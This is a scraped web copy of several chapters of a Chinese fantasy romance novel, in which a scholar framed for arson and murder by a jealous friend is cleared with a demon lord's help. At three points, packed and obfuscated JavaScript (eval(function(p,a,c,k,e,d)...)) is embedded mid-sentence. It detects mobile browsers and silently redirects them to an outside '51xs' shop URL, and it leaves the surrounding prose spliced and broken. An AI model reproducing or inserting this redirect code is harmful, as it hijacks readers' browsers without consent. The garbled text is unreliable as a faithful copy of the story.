l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456792|141609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起去望月山的三位举子都安全无恙,在房间里休息,才彻底安心。 那些妖怪们果然不坏。 闻折月要了壶酒,来到俞成林的房门前:“俞兄,你睡了吗?” 屋内没有点灯,一片昏暗,闻折月又敲了会儿门,一直没有回应。 以往不是没有意见相左的时候,但从没将话说得这般重过,看来今夜俞成林不会愿意见他了。 闻折月叹了口气,拎着酒独自回了房间。 “怎么一个人喝闷酒?” 凭空出现的声音吓了闻折月一跳,他定睛一看,正是失踪已久的书局掌柜,对方好端端地坐在他面前,托着下巴:“心情不好吗?” 闻折月看了看房门:“你怎么进来的?” 他明明锁了门。 “一道门一把锁还想拦住我?”老龟轻哂,自己拿出一个杯子,自来熟地倒满酒,“酒这东西可不兴一个人喝,来,我陪你。” 桌上多了两碟下酒小菜,老龟先提了一杯:“听说你把绣球送出去了?” 今晚发生的事情太多,闻折月还没冷静下来,稀里糊涂地喝了一杯酒:“嗯,送给我心悦之人了,你说那东西能保佑我们长长久久,是真的吗?” “你想和她长长久久吗?” “想。” “那要是她死了呢?” 空气一滞,闻折月的眼神骤然变得凌冽:“你和妖市有什么关系?你是不是妖?你说这话是什么意思?” 他酒也不喝了,警惕地盯着老龟。 宝贝龙何曾用这种眼神看过他,老龟欲哭无泪,在心里嘤嘤嘤,都怪那劳什子的凡人,抢走了宝贝龙的爱! 老龟很是心伤,已经忘了现在的闻折月没有从前的记忆,他吨吨吨喝完了杯子里的酒,又倒了一杯,喝完又倒,连灌三杯之后才停下:“嗝儿,我是人是妖不重要,重要的是那妖市中的美人数不胜数,你为什么偏偏看上个凡人?” 不然呢,去喜欢妖精吗? 闻折月一阵无语:“你为何如此关心我喜欢谁,难不成你……” 他的眼睛瞪大,警惕地往后仰了仰,和老龟拉开距离:“你该不会喜欢我吧?!” 老龟差点呛到:“……你脑子坏了吧,我都能当你爷爷了!” “你可是能写出人蛇恋的人,谁知道你会不会想搞爷孙恋。”闻折月撇了撇嘴,话虽这么说,但他也不相信掌柜会对他有想法,毕竟这人看他的眼神真跟看孙子似的,慈祥极了。 所以猜到了掌柜可能是妖,闻折月也没有害怕。 老龟翻了个白眼,苦口婆心道:“我只是希望你幸福,跟所爱之人长相厮守。” 闻折月从小就懂事,从没怪过抛下他殉情的爹,还念叨着长大了要和爹爹们一样,谈一场刻苦铭心的恋爱,和爱人不离不弃。 所以得知他要下凡渡劫后,老龟立马相看百妖,为他策划了这一场妖市相亲大会。 闻逍的情路太坎坷,他不舍得闻折月也像他两个爹一样受苦。 提起所爱之人,闻折月一下子就想到了苏梨,眼神变得柔和起来:“那绣球是不是有什么玄奇之处,以往扔掉了都能自己找回来,它能带着我心上人来找我吗?” “不能。” 老龟扔下酒杯,盯着他:“那姑娘不适合你,忘了她吧,这世间的绝色佳人数不胜数,何必吊死在一棵树上,你会遇到比她更好看的人。” 妖的寿命长,好好修炼还有飞升上界的可能,可凡人就不行了,一生只有短短几十载,死后进入轮回忘却前尘,只会徒留伤情。 上下界有别,对闻折月而言,凡人实在不是好的恋爱对象。 关注始于相貌,但喜爱不是,闻折月深知他对苏梨的心动并不全是因为外表,那是一种无法言说的感觉,就像是缺少了一块的人生,遗失的珍宝突然回来了。 比久别重逢更隆重,比一见如故更深厚。 “我只喜欢她,我觉得她对我也有意,绣球没用也没关系,等殿试成绩出来后,我就去找她。” 他抬起头,一双眼睛亮晶晶的:“世间佳人无数,但我只想和她长相厮守,旁人再好看,我也不会多看一眼。” 老龟心头一惊,恍惚间他好像看到了曾经的闻逍,一脉相承的深情毫不掩饰,在闻折月的双眼睛里完整呈现,越是情深越让老龟害怕,仿佛预见到了这份喜欢会给闻折月带来多大的痛苦。 “不可以,绝对不可以!” 闻家净出些痴情种,闻折月该有似锦前程,光明未来,绝不能毁在情之一字上。 闻折月不懂为什么掌柜会用这种疼惜又关怀的眼神看着他,复杂的情绪让他的心凉了下来,在悲伤的同时隐隐感到不安:“你想做什么?” “我会让你忘了她。” 老龟伸出手,千钧一发之际,外面忽然传来敲锣打鼓的声音,火光忽闪,众人奔走呼号:“走水了,走水了,救命!大家快跑啊!” 7. 第 7 章 妖火飞向城中,墨夙离穿过长长的街道,在冲天的火光之中看到了被浓烟淹没的客栈,春风楼因为一场大火付之一炬,举子们灰头土脸坐在路边,不住地咳嗽。 春风楼的掌柜面如土色:“完了,全都完了。” 走水事小,举子死伤是大事,方才清点人数足足少了四人,再有不到两个时辰天就亮了,殿试发榜,这四个人不知会不会榜上有名,届时圣上怪罪下来,他恐怕也要受牵连。 “我怎么这么倒霉啊,好端端的竟然走水了,还是在这个节骨眼上。”掌柜捶着大腿,难掩悲戚。 墨夙离远远看了一眼:“那是怎么回事?” 妖火飞近后就消失了,那一抹幽蓝就像是被火光吞噬了一样,没留下一丁点痕迹,尖叫声和哭喊声充斥着夜晚,将街道变得嘈杂。 “嗐,走水了呗。”四周弥漫着浓烟,大师兄拿起斗笠扇个不停,“姑娘你腿脚可真好,要不是我练过就被你甩掉了,不过你大半夜来这里做什么……啊,我知道了,你是不是来找那个玉面书生的?外地的举子都住在春风楼里,他也应该住在这里,诶呀坏了,火烧得这么大,他该不会出事吧?” “春风楼?” “取自春风得意马蹄疾,读书人臭讲究,都爱搏个好彩头,赶明就是殿试发榜的日子了,可惜了,大好的日子遇上这种事,没考上还好,万一考上了又死了,那可太惨了。” 大师兄长吁短叹,末了下了结论:“还好我不读书了。” 墨夙离不明所以:“这和读书有什么关系吗?” 那妖火八成是指引他来找闻折月的,不过他已经看了一圈,闻折月并不在那些举子之中。 该不会真叫这乌鸦嘴说中了吧? 少了四个人,但只找到三具尸体,墨夙离脸色稍沉,狠狠地盯了大师兄一眼,要是闻折月出了事,他一定把这人的舌头割了。 “读书人是非多啊,别看他们一个个人模狗样,心里指不定在算计什么。”大师兄还不知道自己的舌头被惦记上了,滔滔不绝口若悬河,“就拿之前在妖市里那群书生来说,藏着百八十个心眼子,表面笑嘻嘻,实际上想要对方的命!我劝你也别对那书生太上心,免得吃亏。” 墨夙离脚步微顿:“此话从何说起?” 他见过无数穷凶极恶之徒,其中也不乏表面仁义者,但闻折月并不像那种人。 他不信自己会看走眼。 “进妖市的时候五个人,出来就剩两个了,你知道那三个怎么了吗?都死了!被推下石阶,摔得粉身碎骨,死无葬身之地啊!” 掉下石阶并不会死,显然大师兄也不知道这一点,墨夙离瞄了眼尸体,暗暗松了口气:“你怎么知道他们是被推下去的?” 当时俞成林还质问过闻折月,怀疑是他们大打出手,这才导致另外三人摔下石阶,发生了意外。 “当然是我亲眼看到的。”大师兄搓了搓胳膊,光是说这事他都起了一身鸡皮疙瘩,“所以一进妖市我就刻意和他们保持距离,这俩人八成是一伙的,故意借着踏青的名头来谋害别人,真是恶毒。” “不是,折月和那个凶手不是一伙的。” 墨夙离语气笃定,大师兄稀奇地“咦”了声:“我还没说是谁把人推下去的吧,你怎么知道不是那位玉面书生?” “我就是知道。”墨夙离轻哼,语气里带着一股子骄傲,虽说他不是什么良善之辈,但背后捅刀这种事他做不出来,要杀自然得当面捅死人,这才叫光明磊落。 闻折月是他看中的人,一定和他一样磊落。 他相信他的眼光。 “我要去找折月了,你别跟着我。” 魔尊大人用完就扔,将神识铺开,笼罩住整座城池。 他刚才看过了,那三具尸体烧得不算太重,依稀能辨认出面容,不是闻折月,但很凑巧,这被烧死的三个人正是闻折月曾对他描述过的同行举子。 联想到大师兄刚才说的话,墨夙离嗅到了一股阴谋的味道。 全城搜索很快就有了结果,闻折月安然无恙,就在距离此处不远的街上。 墨夙离撑着伞离开,大师兄在原地站了一会儿,等他拐进另一条街后,摸着剑小声嘀咕:“桃花啊桃花,你可看到了,不是我要跟着他,只是我碰巧也要走这条路。” 桃木剑不会回应,大师兄自欺欺人地说服了自己,心安理得地跟了上去。 - 变故突生,等闻折月反应过来的时候,他已经被老龟带到了书局。书局里的书都被搬空了,黑漆漆的,看起来有几分陌生。 “你是妖。” 这一点已经毋庸置疑,只是闻折月想不通掌柜为什么偏偏盯上了他:“我只是一个普普通通的读书人,你究竟想从我身上得到什么?” 之前的事还历历在目,虽然掌柜救了他,但这人也未必不会害他,闻折月警惕地后退,和他保持距离。 老龟左翻翻右找找,舀了瓢水泼在自己头上,虽说他已经修炼成精了,但本体还是喜水厌火,方才那大火烧得厉害,一下子把他的心理阴影给烧出来了。 呼,舒坦了。 老龟眯着眼舒出一口气,一转头,闻折月正用一种复杂的眼神看着他:“你……喝多了?” “不是你想的那样,我没喝醉,也没有不清醒,我只是,只是……”老龟抹了把脸,他要怎么告诉闻折月他只是被火吓到了,有点过敏性缺水。 这他娘的也太丢脸了! “你只是渴了。”闻折月贴心地帮他找了借口。 老龟轻哼一声,忽然看到他手臂上的伤,脸一下子拉了下来:“这是怎么弄的?!” 细细长长的一道,将近十公分长,微微破了皮,像是指甲划出来的。 闻折月愣了下,这是在妖市的时候,俞成林抓着他的胳膊不小心划伤的,他当时因为苏梨离开心急如焚,压根没顾得上这伤口。 况且只是划了一下,过几天就好了。 “有人欺负你?!”老龟咬着牙,抓着闻折月的胳膊,眼里几乎要喷出火来,哪个不要命的竟然敢欺负他们的宝贝龙! “是谁?找死,我要把他千刀万剐了!” 妖就是妖,打杀凡人如同碾死一只蚂蚁一样简单,闻折月皱了下眉头,抽出胳膊:“没事,是我自己不小心划伤的,多谢你刚刚救了我,我还有事,先走了。” 老龟正想拦,忽然想到一个问题,闻折月是下凡历劫的,命书由上界的星君编写,贸然插手很可能破坏他的劫数。 万一闻折月渡劫失败了怎么办? 越是身份不俗,劫数带来的影响越大,就像当初的闻逍,渡个劫搅得上界和下界都不安宁,最后自爆妖丹轰动了整个人间。 这一迟疑,闻折月就水灵灵地从书局溜走了。 凌晨的风吹散了热浪,闻折月走在路上,想到今晚的一切仍然觉得不真实,和掌柜喝的这场酒过程波折,但更令他看清了自己的内心。 情与爱,刻心头,字字行行,都是苏梨。 人间好月悬天边,可能照遍千里,使离人相会? “这也太酸了。”闻折月小声嘀咕,他可真是魔怔了,不识情滋味的时候多潇洒,如今心魂都荡了出去,“衣带渐宽终不悔,为伊,为伊……” “为伊如何?” 伞檐边上悬下一圈铜钱流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456793|141609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏,墨夙离微微倾了倾伞,铜钱碰撞鸣响,他在响声间隙中抬眸看来,眸底映着昏淡淡的流光,清冷,神秘,带着说不出的风流。 风流—— 闻折月想不通为什么会用这个词来形容姑娘家,但看到苏梨的第一眼,他脑海中就浮现出了这两个字,没有比这更合适的形容。 “苏梨……”他眼里满是惊喜,喃喃自语,“我是发梦了吗?” 墨夙离挑了下眉:“梦?” 他从记事起就开始杀人,满手血污,身上背着数不清的人命,梦到他,实在不算一个美梦,恐怕天上地下只有闻折月会因此开心了。 一步一响,铜钱在眼前停止晃动,墨夙离款款走近:“春风楼起火,你可有伤到?” 他上下打量着闻折月,仍是那身月白色的长衫,只是衣襟上溅了零星酒痕,和其他灰头土脸的举子比起来,闻折月称得上玉树临风。 “看起来应该无甚大碍。” 不是梦吗? 闻折月恍然回神,激动得无以复加:“你怎么会在这里?” 竟真使他和苏梨相遇了,十分好月,真是十分好月! “你去了春风楼,是特地去找我的吗?起火的时候我逃出来了,没有受伤,不必为我担心。” 他眼里闪着光,墨夙离到嘴边的“是”转了个弯,忽然说不出来了:“我睡不着,随便出来走走。” 他才没有担心。 只是一个合眼缘的凡人,他为什么要担心,他不!会!担!心! 闻折月微微俯身,脸上的笑容丝毫未变:“随便走走都能遇到,我们可真有缘。” 什么有缘,还不是靠本尊主动。 墨夙离默默腹诽。 因为春风楼走水一事,附近的人家都掌了灯,沿着长街向前,一路通明。 闻折月规划的未来像这条路一样光明,榜上有名十有八九,他对自己有信心,等殿试成绩一出,他就正式追求苏梨。 喜欢了就是喜欢了,没什么可纠结的,将人娶回家才是正事。 闻折月半点不含糊,转瞬就下定了决心:“苏梨,你是京城人士吗?” “不是。”墨夙离没打算在下界多逗留,自然也不会闲的给自己编个身世。 闻折月愣了一下:“那家中长辈怎会放心让你一人来京城?” 未出阁的女子很少出门,更不会一个人出远门,他原以为苏梨住在京城,阴差阳错进了妖市,未曾想过还有其他可能。 “没有长辈,我家里只有我一个人。” 身世家庭比较私密,聊到这里,多半是要谈婚论嫁了。 魔尊大人到凡间一遭,只想找一个合心意的床伴,闻折月处处都符合他的要求,只是……罢了罢了,听说凡人惯会一哭二闹三上吊,不就是成个亲,就当他舍命陪君子了! 等情期结束,他再和闻折月坦白身份,到时候若是闻折月愿意,将人带去上界也无妨。 “你有什么想和我说的吗?” 墨夙离略有几分期待,丝毫不觉得刚认识就谈婚论嫁有什么问题,他的思绪飘远,已经在想要将闻折月安置在魔宫的哪一处寝殿了。 不能离他太远,不然闻折月一个人肯定会害怕的。 要不和他住在一起得了。 “咚——咚!咚!咚!咚!” 打更声传遍大街小巷,五更天了,沿途人家的灯火灭了几盏,本是光明坦途,一下子又变得昏暗起来。 大金榜文榜还未张贴,闻折月深吸一口气,按捺住心里澎湃的感情:“你是一个人,我也是一个人,要不我们结伴吃个早饭吧,我知道附近有一家馄饨做得特别好吃!” 8. 第 8 章 墨夙离:“……” “怎么了,你不喜欢吃馄饨吗?”见他脸色突然变得难看,闻折月顿时心里一紧,“那要不我们去吃别的也行,你想吃什么?” 吃吃吃,整天就知道吃,那两碗饭还没吃饱吗?! 墨夙离绷着脸,在心里骂骂咧咧。 “这饭是非吃不可吗?” 气氛都到那里了,你为什么不提绣球,不提成亲的事,那馄饨到底有多好吃,在你心里比你我的终身大事还重要? 魔尊大人气到变形,鼓着脸活似个河豚。 闻折月拿不准他的意思,小心翼翼道:“民以食为天,饭还是要吃的。” 墨夙离冷着脸发话:“走。” 闻折月:“什么?” 墨夙离:“去吃馄饨。” 他倒要尝尝这馄饨有多好吃! 三更灯火五更鸡,正是男儿读书时,这家馄饨摊开在春风楼附近,举子们常常光顾,摊子上只有两张小桌子,来晚了都抢不到座位。 今日春风楼出了事,摊子上的人不多。 闻折月掏出手帕擦干净桌子和凳子,在他心里苏梨就像是不食人间烟火的仙子,不能沾上一丁点脏污:“老板,来两碗馄饨。” “好嘞!” 馄饨摊老板高高应声,将两份馄饨下进锅里,滚沸的汤冒着白气,咕噜咕噜颇具烟火气息。 墨夙离还在生闷气,闻折月越殷勤,他越不爽,好像只有他一个人惦记着成亲一样:“要一碗就够了,我不饿,就吃一个尝尝。” 他板着脸,就差把“我不高兴”写在脸上了,语气也不好。 明明他是为了哄闻折月才勉强同意成亲的,很勉强! 他也一点都不想吃这破馄饨!! 闻折月好脾气地哄道:“没关系,我请你吃。” 哪有两个人吃一碗的,且不说他们还没在一起,这样对苏梨的名声不好,只要一碗馄饨显得他很小气似的,没有一个男人愿意在心上人面前没面子。 “两碗会浪费,你要省着……算了,两碗就两碗吧。”墨夙离掐住话头,暗骂闻折月败家,过得那么辛苦还不知道省着钱花。 大不了他偷偷给闻折月塞点钱,反正他又不差这点道行。 上界之人不能擅自干扰凡间的事情,逆天改命会遭到天道的反噬,点石成金受到的反噬比较小,顶多赔上些道行,若是更改了凡间的因果,则要付出极为惨痛的代价。 诸如千年之前,仙界那位战神和魔界尊主双双下凡,搅进了天下第一宗和妖族的因果之中,还违逆天道结合,最后一个自爆妖丹一个魂飞魄散,不死也扒了一层皮,连拼命保住的孩子都不得已留在下界。 如此看来,那位折月仙尊还挺惨,打从生下来就被孤苦伶仃一个人。 墨夙离暗暗感慨,还好闻折月是个普普通通的凡人,带去上界也不会对世间的因果影响太多,不然不知他得遭到多大的反噬。 热腾腾的馄饨很快就出锅了,汤头是奶白色的,上面漂浮着一层青绿的小葱碎,鲜香味扑鼻,将凌晨的冷意都驱散了。 “这馄饨是鱼肉馅的,汤是用鲜贝熬的,你尝尝。”闻折月将勺子涮了涮,递给他。 海鲜的味道很浓郁,墨夙离鼻翼抽动,咽了咽口水,闻起来还挺香的。 要说吃的方面,还是得看下界,凡人一生追求吃饱穿暖,花在吃食上的心思格外多,不像上界的仙族和魔族,一门心思修炼变强,大多都戒掉了口腹之欲。 他只揍过无妄海中的凶猛鱼怪,没听说过鱼还能包馄饨。 墨夙离将信将疑地咬了一口馄饨,眼睛一亮:“唔,好吃!” 馅里不知加了什么佐料,这馄饨丝毫没有鱼肉的腥味,很是鲜甜,鱼肉中还包裹着虾肉,吃起来颇为弹牙,恰好中和了鱼肉的软糯。 鱼肉做的馄饨这么好吃,他以前打死那么多鱼怪,岂不是都浪费了?! 看他吃得香,闻折月扬起笑:“慢点吃,不够的话我这碗也给你。” 墨夙离脸一热,想起之前自己说只尝一个馄饨,结果现在一碗都快吃光了,他尴尬地清了清嗓子:“咳咳,我吃这碗就够了。” “真的够了?”闻折月有点怀疑,苏梨连胃口也比一般女子大,在妖市里吃了一碗半米饭,这一碗只有八个馄饨,他通常都要吃两碗,回春风楼的路上再搭上一点小点心。 墨夙离脸上挂不住,如果闻折月是故意臊他,他还能发脾气,可偏偏闻折月一脸“怕他吃不饱”的真诚,让他连气都生不起来。 好烦! “那,那再来两个叭。” 闻折月一愣,看着苏梨从他的碗里盛了两个馄饨:“你会不会不够吃,要不你重新要一碗吧?” “不用了,我吃这碗就够了。”馄饨个大饱满,闻折月捏着勺子的手紧了紧,想到方才那一幕,耳根泛上一点红意。 他和苏梨吃了同一碗馄饨,同一碗…… “今天的馄饨好像格外好吃。”闻折月微低着头,馄饨的香气不如墨夙离身上的冷香有存在感,他机械地嚼着馄饨,眉眼浸出缱绻的情意。 他的味觉好像被麻痹了,尝不出馄饨原本的味道,唇齿间都是甜丝丝的。 是苏梨的味道。 墨夙离挑了挑眉,惊喜道:“真的吗?” 看来他运气不错,第一次来就吃到更好吃的馄饨了,开心。 他比闻折月多吃了四个馄饨,他赢了,更开心了。 食欲和胜负欲同时得到满足的魔尊大人心情变好,大发慈悲的原谅了闻折月,这馄饨确实好吃,值得把成亲的事推后一点。 吃过饭后,闻折月先回了一趟春风楼,走水的事上报到了官府,要统计伤亡人数。 今日是殿试发榜的日子,但因为这场变故,举子们的情绪都不太高,官府将三具尸体抬走后,没过多久就派人来带走了春风楼的掌柜和一众举子。 闻折月也在列,墨夙离皱了皱眉头,刚想上去抢人就被拦住了,大师兄将他拉到一旁:“那可是官府的人,你这么一抢,得搭上你们两个的命。” “怎么回事?” “我看那书生要变成代罪羔羊了。”大师兄同情地叹了口气,暗戳戳怂恿道,“天涯何处无芳草,你重新找一根草啃吧,别喜欢他了。” - 衙门。 掌柜一见到闻折月,脸色顿时变了,指着他嚷嚷起来:“大人,就是这位闻举子去看过三位死者!” 闻折月稀里糊涂,听掌柜和官员轮番质问才弄清楚情况,原来死的三个举子就是那三位同他们一起踏青的举子,也就是他昨晚从妖市回来后去看的三人。 火灾中一共死了三个人,走水之前闻折月还特地询问过他们,难免不让人多想。 惊堂木一拍,端坐高堂的官员质问道:“闻折月,走水的时候你在哪里?” “我当时在房间里喝酒,听到走水的呼喊声后就出去了。”闻折月不知该怎么解释老龟的事,对方是妖,就算他如实说了恐怕也没人会信,反倒会怀疑他心里有鬼。 “你去了哪里,可有人能为你作证?” 闻折月沉默下来。 俞成林冷不防开口:“闻兄,你还是如实交代吧。” 举子们都在衙门,俞成林突然上前一步:“回禀大人,学生俞成林,和三位死去的举子是好友,昨日我们曾和闻折月一同去望月山踏青,路上发生了一点事。” “发生了何事,你且如实道来。” “昨天我们五人一同去望月山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“成林还是心善。” “俞成林,你血口喷人!”闻折月的脑袋嗡嗡作响,“我手上的伤分明是你划的,我也从未同你谈及其他人,是你,是你……这一切都是你的阴谋!” 在妖市的时候,俞成林就想要嫁祸他了,这伤也是特地留下的“证据”。 “昨夜也是你将他们三人推下了石阶!” 闻折月恍然大悟,在除去朋友那层关系后,俞成林所做的一切都昭然若揭,表面上宣称他们关系好,为的就是关键时候反咬他一口。 闻折月又怒又气:“俞成林,我待你不薄,我曾救过你的命,你为何要如此污蔑我?!” 当初俞成林差点葬身野兽之口,是他冒着生命危险救下他,上山采药为他治伤,他将俞成林当成唯一的朋友,从未有过一丝亏欠。 他想不通俞成林为什么要诬陷他。 俞成林拔高声音:“你是救过我的命,但我也不能因此看着你谋害其他举子,若是不揭发真相,让你这种心思歹毒的人做了官,如何对得起天下百姓!” 怪就怪你才学太高,太能出风头,和你在一起,大家永远都看不到我,但若是没有你…… 俞成林眼底闪过一丝怨毒:“请大人为无辜死去的举子们主持公道!” 举子们看不惯闻折月,不乏落井下石者,就连春风楼掌柜也咬死了是闻折月心怀叵测,想把走水和死人的事推到他身上。 官员皱眉,仵作在那三具尸体中查出了迷药,三人死前被迷昏了,这才没有逃出火海,这桩命案确为谋杀。 结合所有人的证词,案件基本清楚了,至于证据,闻折月手臂上的伤确实不太具有说服力……官员心思转了转,深深地看着闻折月,一声令下:“来人,将嫌犯押下去,好好审问!” 证据嘛,审一审就有了。 “咚咚咚——” 登闻鼓被敲响,鼓声震天,天还是晴的,但衙门上空无端“轰隆”了两声,惊雷兜头落下来,劈得衙门的瓦都掉下来两块,正好砸在衙役面前,差点给他们开了瓢。 两人心颤魂惊,一个哆嗦,松开了闻折月。 9. 第 9 章 大师兄浑身一激灵,战战兢兢:“这,这雷不会也是你的手笔吧?” “少废话,继续敲你的鼓。”墨夙离眉目冷峻,案件未明,衙门关起门审理,不容许百姓围观,但在堂前发生的一切都没逃出他的眼睛。 放肆,竟敢欺侮他的人! 若不是怕闹得太大引来天道反噬,他当即就把这群人全都劈成渣渣了,尤其是那俞成林,满口胡言最为可恶,喂狗都脏了狗嘴,活该挫骨扬灰。 墨夙离身上散发着冷气,大师兄缩了缩脖子,感觉脑壳上的包更疼了。 他不过就是劝墨夙离换个人喜欢,就被敲了个暴栗,也不知这看起来温温柔柔的姑娘怎么有那么大的手劲儿,他感觉自己的脑浆都快被敲出来了。 这人把他带到了衙门,非要他敲登闻鼓帮那玉面书生平反。 大师兄欲哭无泪,他最讨厌官府,就他这三脚猫的功夫,别说救闻折月了,别再把自己搭进去就不错了:“妖市之事虚无缥缈,就算我将那凶手陷害同伴的事说出来,大家也不一定会相信。” 退一万步讲,就算官府信了,那三名举子也是死在火灾中,不是死在春风楼里,俞成林顶多算谋杀未遂。 “那凶手一看就早有谋算,想要嫁祸他人,我们拿不出证据是没办法证明那书生清白的。” 墨夙离目光一凛:“可他们也没有证据能证明是折月放火杀人。” 堂上的情况说简单也简单,闻折月和俞成林各执一词,后者擅长笼络人心,引得那掌柜和一众举子纷纷附和,但要认真掰扯起来,双方都没有证据。 说来也奇怪,明眼人一看就知道此案还有待探查,可那官员竟然直接将闻折月定为嫌犯了。 啧,无能糊涂官。 大师兄沉默了一瞬,轻嗤:“有些案子讲证据,有些案子根本就不在意证据,这世间的贪官污吏多了去,冤假错案也数不胜数,你太天真了。” 他稍稍打听了一下,闻折月在京城挺出名的,之前举报官员透露考试题目,举朝震惊,拔出萝卜带出泥,据说当时有不少官员都被下了大狱。 官官相护,里头这大官保不准会故意针对闻折月。 大师兄握紧了鼓槌,脸上显出一种极为讽刺的神情。 “说得好像你经历过一样。” 大师兄没作声,墨夙离微讶:“难不成你真遇到过那种官员?” “不是我,是我的一个朋友,他当时刚考中进士就被同窗陷害了,大官收了钱包庇同窗,对我朋友屈打成招。”大师兄挤出一丝笑,故作平常道,“朝廷污糟,为官不仁,处处都是仗势欺人的卑鄙小人,普通人根本没办法出头,这书又何必再读。” “你说的真是朋友?”墨夙离半信半疑。 他可是看过话本子的,说我有一个朋友,十有八九是在说自己。 大师兄耸耸肩,故作随意道:“不然呢,你看我像是个读书人吗?” 墨夙离摇摇头,诚恳道:“不像。” 大师兄自嘲一笑,不知想到了什么,失神地盯着登闻鼓。 “那你的朋友后来怎么样了?” “死了。” 死在荒郊野外,孤风凉月埋其骨,一身才学自此抛,而后江湖漂泊,不再醉心诗书。 墨夙离几不可查地皱了下眉头,他不喜欢这个故事的结尾,坏人没有恶报,无辜之人枉死。 “我不会让他死。” 有他在,闻折月绝不会变成故事里的枉死鬼。 “若这糊涂官想屈打成招,那我就劈了他的乌纱帽,这世间公道不存,我偏要做青天,将一切真相揭开,还他清白。” 墨夙离晃了晃伞,铜钱响动,他眸底的光越来越晦暗,天边风云聚拢,山雨欲来风满楼。 “叮!” 一声轻响,两枚铜钱坠地。 墨夙离垂下眼帘,勾起一抹讽刺的笑意,来自天道的警告吗……呵,也不过如此。 衙门内很快有人出来:“何人在敲登闻鼓,所为何事?” “我为举子被谋害一案而来。”大师兄一转头,墨夙离已经没了踪影,他暗骂一声,“我是乡野浪客,昨日在望月山上见过几位举子,当时发生了命案,特地来禀告官府。” 那衙役迟疑了一瞬,骤然一道雷劈了下来,就像在催促他。 大师兄看热闹不嫌事大:“你看你看,老天爷不高兴了,赶紧带我进去,要是冤枉了好人,你们整个衙门都会吃不了兜着走。” 既然有能人做青天,那他便和这青天一道,再会一会不公的世道! 一见到大师兄,俞成林的脸色顿时变了,这人怎么会找到这里来,是来做什么的? “大人,此人为举子被谋害一案而来。”衙役绕过闻折月回到原位,这他娘的也太邪门了,衙门外头是晴天,这雷真像是照着他们脑门劈的。 “举子被谋害?”官员心惊,怎么没完没了,刚烧死三个,又有人被害。 “启禀大人,草民浪迹江湖,昨日在望月山上结识了几位举子,结伴寻找仙境,期间发生了一桩诡异的命案。” 有关妖市的打油诗在京城中流行,尽管大师兄说是去寻找仙境,但大家都清楚所谓的仙境指的是妖市。 官员后背一悚,喝道:“莫要说些玄灵诡异之事!” “草民不敢,只是我所说之事与仙境脱不了干系,昨日望月山上突现石阶,通向仙人居所,我同几位举子一起寻仙,在那石阶之上,竟有举子被推了下去。” 俞成林心头一跳,大师兄猛地拔出剑,当着众人的面朝他挥去:“就是你推的人!” “啊啊啊,救命!”俞成林大叫一声,往其他人身后躲去,大师兄不依不饶地追着他砍,将那桃木剑舞得虎虎生风。 变故突生,堂上乱成一锅粥,官员又惊又气,猛拍惊堂木:“大胆狂徒,你要作甚?!” “这人身上有冤魂围绕,看我桃木剑 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官员清了清嗓子:“肃静,冤魂实为无稽之谈,你说有举子被推下石阶,可能拿出证据?若是拿不出来,休要再扰乱公堂,来人,将闻折月带下去。” 天阴了下来,黑压压的乌云笼罩在衙门上空,给人一种恐怖的压力,但在无形之中也给了大师兄安全感。 就知道这狗官在针对闻折月! 大师兄忍了又忍,实在没忍住,骂道:“你他娘的就是个昏官!俞成林摆明了有问题,你却视而不见,你丫活不长了!看到外面那天了吗,你就冤枉好人吧,等下你就得被天打五雷轰!” 官员惊怒,脸都气紫了:“大胆!将这刁民一并押下去!” 一道雷突然劈了下来,像是应了大师兄的话一般,直接劈碎了衙门的屋顶,瓦片纷纷,噼里啪啦地砸在官员四周,明明是阳春三月的和暖天气,气温忽然降了下来,雷声轰鸣,大雪纷飞。 见官员抱头鼠窜,大师兄哈哈大笑:“苍天有眼,苍天有眼啊!” 多年积压在他胸口的郁气突然散了,救人如自救,他好像看到了曾经的自己,站在漫天飞雪之下,一身莫须有的罪名都被洗刷干净。 衙役们哆哆嗦嗦都不敢上前,这案子审到现在摆明了有冤情,老天爷见他们助纣为虐,还不得给他们一人一道雷啊! 劈人是不会劈的,沾上因果难解,会影响修炼,只是小小恐吓一下罢了。 衙门上空,墨夙离撑着伞,狂风吹得他衣袍猎猎,雪白的羽毛化作雪片飘落,好好的一件羽织顷刻间就化为乌有了。 在三月下雪违反了自然规律,情期将至,墨夙离不想闹得太大,便施了个幻术。 可惜这件衣服了,他还挺喜欢的。 雪中带着似有若无的冷香,闻折月心神巨震,怔怔地望向天空,这味道是…… 三月飞雪证清白,莫非这世间真的有奇迹,莫非他遇到的真是一位仙子吗? 10. 第 10 章 春风楼走水一案重新审理后,官府在几个药房里查到了俞成林购买药材的记录,那些药材中正好包括制作迷魂药的材料,经过比对,和死去的三位举子服用所药物相同。 证据确凿,俞成林对所犯罪行供认不讳,闻折月被无罪释放。 闻折月忍不住问道:“为什么要陷害我?” 春风楼的火是蓄意为之,在石阶上推人也是故意的,早在俞成林约他去望月山踏青开始,就计划谋杀另外三人,再将一切推到他身上。 如果没有妖市,没有遇到大师兄,恐怕他真的会有理说不清。 闻折月想不通:“俞成林,你我之间有什么深仇大恨,值得你放火杀人?” “深仇大恨?呵,你心思坦荡,怎知我和你相交多么痛苦!”俞成林满脸嫉恨,认罪之后他也不再掩饰心里所想,“所有人都只能看到你,说我才学不如你,相貌不如你……处处都不如你!凭什么好事全都叫你占了,这不公平!” 俞成林表情扭曲,闻折月试图从他脸上找到熟悉的感觉,却发现所谓的好友就不过是他幻想出来的,他从来没有真正认识俞成林。 俞成林嫉妒他,却看不到他缺失的东西,若是可以交换,他宁愿做俞成林,双亲健在,手足情深。 